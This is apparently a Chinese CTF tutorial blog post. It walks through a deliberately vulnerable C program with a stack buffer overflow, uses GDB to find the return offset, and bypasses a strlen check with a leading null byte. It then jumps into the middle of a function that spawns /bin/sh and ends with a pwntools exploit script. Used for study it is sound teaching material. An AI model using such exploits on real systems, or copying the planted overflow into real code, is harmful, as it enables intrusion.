文章目录
- 前言
- 一、使用环境
- 二、程序源码
- 1. C语言源码
- 2. 编译方式
- 三、源码分析
- 四、反汇编分析
- 1. 检查文件安全性
- 2. 查找目标函数
- 3. 计算偏移量
- 4. 绕过 strlen
- 5. 绕过 if
- 五、编写EXP
- 结语
前言
直接进入正题
一、使用环境
处理器架构:x86_64
操作系统:Ubuntu24.04.2
GDB版本:GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
二、程序源码
1. C语言源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>void y0u_c4n7_533_m3()
{int allow = 0;if (allow) {execve("/bin/sh", 0, 0);}else {puts("Oh no~~~!");exit(0);}
}int main()
{char buf[16];puts("This is your second bof challenge ;)");fflush(stdout);read(0, buf, 0x30);if (strlen(buf) >= 16) {puts("Bye bye~~");exit(0);}return 0;
}
2. 编译方式
gcc bof2.c -fno-stack-protector -no-pie -o bof2
三、源码分析
从源码可以看到,和上一篇相比区别不大,只是在 24 行和 9 行加了两个验证,所以这一篇的核心就是怎么绕过这两个验证。
四、反汇编分析
1. 检查文件安全性
养成习惯:
和上一篇比没有变化,不再多说。
2. 查找目标函数
函数地址在 0x400697
3. 计算偏移量
通过源码可以知道,这个程序存在着 strlen
对输入字符串长度的验证,当字符串长度超过16时,程序会结束,所以没办法通过输入超长字符串的方式来测试偏移量的位置,这里我就用我的老方法来计算了。
把断点打在输入字符串的下一行:
执行程序并输入字符串,然后查看栈:
输入字符串的位置在 0x7fffffffe050
,栈底在 0x7fffffffe060,所以跳转的地址在 0x7fffffffe068
。偏移量为 0x18 ,和上一道题一样。
4. 绕过 strlen
先来看一看反汇编:
虽然这里就算不懂汇编也可以轻松绕过,但还是简单讲一下汇编。
可以看到在 +52 处调用了 read ,在 +64 处调用了 strlen,+69 处在用 0xf 和 rax 进行比较(cmp是compare,比较指令),0xf 是 16,所以很容易判断这里是在进行字符串长度和 16 的比较,也就可以判断出 strlen 的返回值是保存在 rax 中的。
再下一条的 jbe(jump if below or equal) 表示的是小于等于则跳转,跳转到 main+97 ,才能执行到 leave 和 ret ,达成我们利用 ret 跳转到指定地址的目的。如果此处不跳转,则会执行一条 puts 的输出,然后执行 exit 退出程序。
strlen 汇编的执行逻辑就不看了,学过C应该知道,这个函数的作用是计算字符串的长度,而字符串是以 \0 结尾的,也就是说 strlen 计算字符串的长度,只会计算到 \0 ,我们可以利用这个特性来绕过 strlen 对字符串长度的检测。
先来测试一下:
在 main+57 处打断点,然后执行程序,输入计算偏移量的字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
此时程序停在这个位置:
栈里是这个样子:
我们知道字符串就是从 rsp 的位置开始的,所以直接修改字符串的第一个字符:
set {char}$rsp = '\x00'
修改后:
我们再在 ret 处打个断点,然后执行:
可见此时虽然我们输出的字符串长度是100,但是程序仍然执行到 ret 了,并没有退出,此时已经绕过成功了。
5. 绕过 if
先看一眼目标函数的反汇编:
阅读汇编代码可以发现,是因为执行了 +19 处 je(jump if equal) 的跳转,程序才调用了 puts 和 exit ,所以最简单的思路就是,不要让它跳,我们既然可以通过地址跳转来执行函数,自然也可以通过地址跳转直接进入到函数内的某一行,函数的开始地址在 0x400697
,但是我们可以直接从 0x4006ac
进入函数,来绕过它的判断。
所以此时我们的目标地址是 0x4006ac
。
五、编写EXP
理解了绕过原理就可以知道,其实和上一道题是大差不差的,我们直接把上一道题的 exp 拿过来修改一下:
from pwn import *context.arch = "amd64"
context.os = "linux"def exp():offset = 24func_addr = 0x4006acexp = b'\x00' + b'A' * (offset - 1) + p64(func_addr)with process('./bof2') as p:p.sendlineafter(b')', exp)p.interactive()if __name__ == '__main__':exp()
只修改了 func_addr 和 exp 的第一个字节。还有程序名。
执行:
成功。
结语
感谢关注评论点赞收藏。
还有两篇,但难度要大很多,今天写一部分,未必能写完了,争取明天全肝出来。